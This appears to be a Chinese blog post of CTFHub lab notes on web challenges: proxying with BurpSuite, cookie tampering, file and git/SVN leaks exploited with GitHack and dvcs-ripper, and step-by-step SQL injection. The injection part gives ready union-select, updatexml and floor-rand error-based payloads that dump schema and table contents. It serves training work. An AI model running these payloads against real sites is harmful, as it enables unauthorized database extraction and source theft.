ctfhub 技能树笔记

代理

BurpSuite工作原理:

默认代理地址和端口是127.0.0.1:8080,可以从BurpSuite的Proxy选项卡的Options里查看到

正常情况下,我们使用Web浏览器访问服务是直接访问,若想对请求做拦截及篡改,就需要让Web浏览器的请求先传往BurpSuite,在BurpSuite上进行流量数据的处理。

那么如何让Web浏览器的请求经过BurpSuite呢?
最简单的办法就是将浏览器的代理服务器设置为BurpSuite,即默认的127.0.0.1:8080。

HTTP协议 /302重定向

http 302 临时重定向

进入题目页面,发现Give me Flag,点击,发现页面未跳转,结合题意,可知发生了302临时跳转,所以我们无法通过浏览器直接访问未跳转的页面,而flag 可能藏在我们目前无法访问的页面之中。所以我们要想办法去访问未跳转的原网站。

HTTP协议-Cookie

cookie的工作方式:

客户端第一次向浏览器发送请求,浏览器收到请求根据来源信息生成Cookie,返回请求的同时将Cookie一起发送回客户端并存储Cookie,下一次再向浏览器发送请求时cookie会被包含在http头中发送给浏览器,浏览器收到请求后会先检查cookie,如果有cookie信息则不会进行验证直接响应数据。

当Cookie字段中是usercode=123456,我们可以根据字段,猜测出他后端是直接根据前端返回的用户id来做查询,进而实现功能,比如:显示用户订单等。(越权漏洞✔️get)

当Cookie字段中返回有login=0时,敏感的安全从业者,肯定会意识到其中的怪异,会下意识的将0(False)改为1(True)。

HTTP协议 基础认证

在HTTP中,基本认证(英语:Basic access authentication)是允许http用户代理(如:网页浏览器)在请求时,提供 用户名 和 密码 的一种方式。

在进行基本认证的过程里,请求的HTTP头字段会包含Authorization字段,形式如下: Authorization: Basic <认证>,该凭证是用户和密码的组合的base64编码。
HTTP基础认证的过程

第一步:当客户端第一次向服务器发送请求,此时数据包中不包含header Authorization信息,服务器拿到数据包后会先检查该客户端是否认证过,也就是检查header Authorization,没有的话会返回一个respons,其中包含状态码401,要求客户端提交该信息用以认证。并且在Response 的 header的 “WWW-Authenticate” 中添加信息

第二步:客户端收到状态码401后,会弹出认证窗口,需要输入用户名与密码用来认证,提交后浏览器会将用户名和密码取出并进行BASE64加密,将其以“用户名+冒号+密码”的形式组合写入HTTP头文件中发送给服务器。

第三步:服务器收到发来的数据包并取出其中的用户名和密码进行身份认证,认证成功则会返回客户端请求的数据。

bak

后缀名是.bak的文件是备份文件,是文件格式的扩展名。

此类文件通常以.bak开头,该文件应具有原始扩展名,例如windows.dll.bak或windows_dll.bak,其中一些后缀有原始文件,名称和bak混合在一起。 例如,proteus的备份文件是.DBK。

许多软件(例如editplus)会在生成某种类型的文件后自动生成其备份文件。 如果不想备份文件,则可以打开菜单栏上的工具参数选择文件,只需在创建备份文件之前取消检查即可。 其他软件(如CAD,KEIL和其他软件)也可以通过相关设置取消默认备份文件。

vim

注2:异常退出

在使用vim编辑器编写index.php文件时,会有一个.index.php.swp文件,如果文件正常退出,则该文件被删除;如果异常退出,该文件则会保存下来,该文件可以用来恢复异常退出的index.php。同时多次意外退出并不会覆盖旧的.swp文件,而是会生成一个新的,例如.swo文件。以index.php为例,第一次产生的缓存文件名为.index.php.swp;第二次意外退出后,文件名为.index.php.swo;第三次产生的缓存文件则为.index.php.swn。注意:index前有“.”。

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。

git泄漏

参考:CTFHub-Web-信息泄露-Git泄露_ctfhub git泄露_star-R的博客-CSDN博客

当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题

log

用的工具:dirsearch、Githack

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,还原重建工程源代码。

Githack使用思路:1、Githack扫描;2、git log查看历史记录。

扫描语法:python GitHack.py http://www.target.com/.git/

dirsearch扫描目录

(1)可以使用命令 dirsearch -u http://159.75.16.25 -e*

(2)cd dirsearch 、再使用命令:

python3 dirsearch.py -u http://challenge-5a5d24023f7ea71c.sandbox.ctfhub.com:10800 -e git -t 5

存在git泄露;

Githack扫描

进入GitHack文件夹,执行下列命令:

python2 GitHack.py http://challenge-e87e0210287ba7b3.sandbox.ctfhub.com:10800/.git/

得到flag有两种方法:

1、版本比对:git diff
用法:git diff <分支名1> <分支名2>

2、版本回退:git reset

用法:git reset --hard <分支名>

stash

(1).git stash概念

.git stash用于想要保存当前的修改,但是想回到之前最后一次提交的干净的工作仓库时进行的操作。.git stash将本地的修改保存起来,并且将当前代码切换到HEAD提交上。

(2)会用到的命令

git stash lish #查看当前stash中的内容

git stash pop #将当前stash中的内容弹出,并应用到当前分支对应的工作目录上,可以理解为恢复内容。

index

题目中的index并不是我们理解的web网页,而是一个暂存区,默认存储在.git/index。

关于index的具体知识点文章:(Git本地库中的索引(Index)及文件状态概述_易生一世的博客-CSDN博客

老办法:

githack扫描 =》进入文件夹 =》git log查看历史 =》两个版本,直接进行git diff获取到flag 。

SVN泄漏

CTFHub-Web-信息泄露-SVN泄露_star-R的博客-CSDN博客

提示:当开发人员使用 SVN 进行版本控制,对站点自动部署。如果配置不当,可能会将.svn文件夹直接部署到线上环境。这就引起了 SVN 泄露漏洞。

SVN(subversion)是源代码版本管理软件,造成SVN源代码漏洞的主要原因是管理员操作不规范将SVN隐藏文件夹暴露与外网环境,可以利用.svn/entries或wc.db文件获取服务器源码等信息。

利用一款的perl版本控制软件信息泄露利用工具,叫dvcs-ripper,支持SVN, GIT, Mercurial/hg, bz等等

使用 dvcs-ripper 工具下载泄露的网站目录

dvcs-ripper安装教程

dvcs-ripper安装教程

使用linux 执行下面的命令:

git clone https://github.com/kost/dvcs-ripper.git

⭐进入dvcs-ripper目录

cd dvcs-ripper

⭐使用工具

这里提示是svn泄露,所以我们使用rip-svn.pl模块

perl ./rip-svn.pl -u http://challenge-813102013a303fb9.sandbox.ctfhub.com:10800/.svn

如果报错:

说明你缺少了SQLite模块

执行如下命令进行安装(失败,cpu100%跑不动)

perl -MCPAN -e shell
install DBD::SQLite

或者执行下面的命令(成功!)使用libdbd-sqlite4-perl也失败

sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl

继续做题:

在当前目录文件夹下会发现 多出一个 .svn 文件

即可在 .svn文件找到flag

SQL 整数型注入

一、检查是否存在sql注入

1.试一下添加冒号会不会报错或者不回显

2.试一下添加and 1=1 是否正常查询

3.试一下and 1=2 是否查询失败

二、判断列数(字段数量)

添加order by 1/2/3…来获取列数,order by 1的意思是对第一列的字段进行排序并返回查询的结果,如果列数超出则会报错或者不回显

三、回显信息

通过 id =-1 and union select 1,2来查看回显的位置,id=-1查询不到则会返回null

union select 1,2 没有意义,会返回1和2

version(),查看数据库版本

database(),查看数据库名

基础:information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新)
mysql5.0以下:多用户单操作,不存在information_schema数据库
mysql5.0以上:多用户多操作,存在information_schema数据库
nformation_schema数据库说明:
重要表说明:
1,information_schema.schemata表:此表存放了当前数据库管理系统下所有的数据库,效果等同于show databases;命令,数据库名称在schema_name列。

2,information_schema.tables表: 此表存放了当前数据库管理系统下所有数据库的表,效果等同于所有数据库下show tables的合集
table_name列:此列记录当前数据库管理系统中所有表的合集
table_schema列:此列记录当前数据库管理系统中所有数据库的合集
3,information_schema.columns表:此表存放了当前数据库管理系统中所有的列名

table_name列:记录当前数据库管理系统下表的合集
table_schema列:记录当前数据库管理系统下数据库名的合集
column_name列:记录当前数据库管理系统下的所有列的合集

四、查看全部数据库名:group_concat()函数用于将分组中括号里对应的字符串进行连接

id=-1 union select 1,group_concat(schema_name)from information_schema.schemata

五、分别查看数据库中的全部表名

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’

六、查看flag表中的全部字段名(全部列名)

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’

七、查询该表中该字段的全部数据

id=-1 union select 1,group_concat(列名) from 库名.表名

sql字符型注入

与整数型注入原理相同,但需要让语句闭合,正常执行,在url结尾输入%23 或者–+

SQL报错型注入原理

一、xpath语法格式错误的报错:

mysql5.1.5版本中添加了extractvalue()、updatexml()函数,它们两个分别能够对XML文档进行查询、修改操作,下面分别对这两个函数进行介绍。

1、extractvalue(xml_frag, xpath_expr):从一个使用xpath语法的xml字符串中提取一个值。
xml_frag:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。

SQL报错注入的应用:当使用extractvalue(xml_frag, xpath_expr)函数时,若xpath_expr参数不符合xpath格式,就会报错。

2、updatexml(xml_target, xpath_expr, new_xml)

xml_target:xml文档对象的名称,是一个string类型。
xpath_expr:使用xpath语法格式的路径。
new_xml:需要更新的内容。

SQL报错注入的应用:当使用updatexml(xml_target, xpath_expr, new_xml)函数时,若xpath_expr参数不符合xpath格式,就会报错。

上述两个函数使用时,因为符号~波浪号(ascii编码值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr参数中使用~符号,就会产生xpath syntax error (xpath语法错误),通过使用这个方法就可以达到报错注入的目的。

查询数据库名

union select updatexml(1,concat(0x7e,database(),0x7e),1);

联合查询爆表名

1union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查字段名

查内容

sql中查询flag过长导致后半部分不显示,可以选择查询右边的31位进行比对就可以获取全部flag了。方法:right((select flag from sqli.flag),31)

二、floor()、rand()、group by语句相结合的报错:

floor报错注入是利用 select count(*),(floor(rand(0)*2)) x from users group by x这个相对固定的语句格式,导致的数据库报错。实际利用中通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,就实现了注入结果与报错信息回显的注入方式。

1、rand()函数:
rand()返回0到1的随机数。不包含0,1
rand(0)返回一个固定的0到1的伪随机数。

2、floor()函数:
floor(x)返回小于或等于 x 的最大整数。

3、group by语句:
group by语句可以根据一个或多个列对结果集进行分组,在分组的列上我们可以使用 COUNT, SUM, AVG,等函数。

SQL报错注入的应用:当count(*)、floor(rand(0))和group by x同时执行时,就会爆出duplicate entry错误。
原理:floor(rand(0)*2)的不确定性,取整之后为0也可能为1。

*理解floor(rand(0)2)函数

floor(rand(0)*2)就是对rand(0)产生的随机序列x2后的结果,再进行取整。

产生包含0和1的序列,因为使用了固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1的顺序。

通过group by name进行分组排序,结果会进行分组并显示,相同名字会合并。

count(*)统计结果的记录数,与group by结合使用,select name a,count(*) from users group by a。会对name/a重复性的数据进行整合并计数,按照ascii排序。

当执行如下语句时,就会产生一个报错

select count(*),floor(rand(0)*2) x from users group by x;

在这里插入图片描述

根据前面函数的理解,这句话本义就是统计后面产生随机数的种类并计算每种数量。原本执行结果一共6行数据,产生的随机序列应该为0 1 1 0 1 1 ,按照语句的含义,统计如果应该是:0是2个,1是4个,但是此处却产生了报错?这是为什么呢?下面来分析一下。

这里最关键的及时要理解group by函数的工作过程。group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)

如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

【转】Mysql基于报错注入之floor(rand(0)*2)报错原理探究_LovelyLucy的博客-CSDN博客

3.1、group by语句执行过程:
SQL语句:select floor(rand(0)*2),count(*) from table group by floor(rand(0)*2) ;

1.查询数据库名称

1 union select count(*),concat(database(),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x

1 union select count(*),id from news group by concat((select database()),0x7e,floor(rand(0)*2))

2.查表名

1 union select count(*),id from news group by concat((select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1),0x7e,floor(rand(0)*2))
3.查字段

union select count(*),id from news group by concat((select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ ),0x7e,floor(rand(0)*2))
4.获取flag

union select count(*),id from news group by concat((select flag from sqli.flag),0x7e,floor(rand(0)*2))

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值